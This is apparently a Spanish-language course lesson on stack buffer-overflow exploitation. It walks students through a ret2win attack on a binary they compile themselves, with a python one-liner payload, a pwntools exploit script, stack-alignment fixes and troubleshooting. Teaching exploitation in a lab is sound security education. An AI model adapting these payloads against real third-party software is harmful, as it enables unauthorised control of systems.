Parte: 5 — Explotación de sistemas y binarios · Fuente: Erickson, Hacking 2e · docs de pwntools ⏱️ Duración estimada: 140 min · Nivel: Intermedio
Convertir la teoría de la clase 119 en un exploit real y reproducible. Construirás el payload que
desborda el buffer, sobrescribe la dirección de retorno y redirige la ejecución a una función objetivo
(win()), primero a mano con python -c y luego de forma limpia con pwntools. Es tu primer
control efectivo de RIP.
⚠️ Ética: el binario es tuyo, compilado en tu VM. No apliques esto a software de terceros sin autorización explícita por escrito.
Al finalizar, el alumno podrá:
RIP.process, p64, sendline, recv).| # | Tema | Por qué importa |
|---|---|---|
| 1 | Recolección del offset | Base del payload |
| 2 | Estructura del payload | padding + dirección de retorno |
| 3 | p64/p32 y endianness | Empaquetar direcciones correctamente |
| 4 | ret2win | Saltar a una función existente |
| 5 | Alineación a 16 bytes (movaps) | Evita crashes en libc/x64 |
| 6 | pwntools básico | Automatización robusta del ataque |
| 7 | Depuración con gdb.attach | Ver por qué falla |
| 8 | De local a remoto | remote() para retos en red |
b"A"*offset + p64(dir_objetivo).p64/p32: funciones de pwntools que empaquetan un entero en little-endian. Clave: evitan
errores manuales de orden de bytes.RSP múltiplo de 16 antes de un call. Clave: si falla,
instrucciones SSE (movaps) en libc provocan segfault; se corrige añadiendo un gadget ret.context.binary, process,
recvuntil, sendline, p64, cyclic.pip install pwntools
python3 -c "import pwn; print(pwn.__version__)"
Usa el vuln de las clases 118-119 (compilado con -fno-stack-protector -no-pie).
Entorno propio.
Confirma el offset con pwndbg (cyclic 200 → cyclic -l <valor>). Supón que es 72.
Averigua la dirección de win: objdump -d vuln | grep '<win>:' o en pwntools elf.symbols.win.
Prueba el payload manual:
bash
python3 -c 'import sys;sys.stdout.buffer.write(b"A"*72 + (0x401156).to_bytes(8,"little"))' | ./vuln
exploit.py):python
from pwn import *
context.binary = elf = ELF("./vuln")
p = process("./vuln")
payload = b"A"*72 + p64(elf.symbols.win)
p.sendline(payload)
print(p.recvall(timeout=1).decode(errors="ignore"))
win, es alineación: inserta un gadget ret antes de la dirección:python
ret = next(elf.search(asm("ret"), executable=True))
payload = b"A"*72 + p64(ret) + p64(elf.symbols.win)
Depura acoplando GDB: cambia process(...) por gdb.debug("./vuln", "break win") y observa RIP.
Cuando funcione, verás el mensaje de win() (control de flujo logrado).
-m32, usa p32).recvuntil para sincronizar con un prompt del programa.win reciba un argumento y pásalo vía registro/stack.ret corrige la alineación.remote("127.0.0.1", 1337) sirviendo el binario con socat.Entrega exploit.py que, contra tu binario vuln, imprima la salida de win() de forma fiable en
al menos 5 ejecuciones seguidas.
Criterio de aceptación: for i in $(seq 5); do python3 exploit.py; done muestra el mensaje de
win() las 5 veces, sin segfaults.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
Segfault dentro de win (movaps) |
Stack desalineado; añade un gadget ret extra |
| RIP = 0x4141414141414141 | Offset correcto pero dirección mal empaquetada; usa p64 |
| RIP casi bien pero desplazado | Offset off-by-8; recuenta saved RBP |
| Funciona en GDB pero no fuera | Diferencias de entorno/ASLR; usa env={} y desactiva ASLR |
EOFError en pwntools |
El proceso murió antes; revisa timing con recvuntil |
❓ ¿Por qué funciona en GDB y no en la terminal? GDB desactiva ASLR y añade variables de entorno
que desplazan el stack. Iguala el entorno o usa direcciones estables (-no-pie).
❓ ¿Necesito shellcode aquí? No: ret2win reutiliza una función existente. El shellcode llega en la clase 121.
❓ ¿Y si el binario tiene canary? El payload lineal se detecta; hay que filtrarlo primero (clases 122-123).
Clase 119 — Buffer overflow en stack: teoría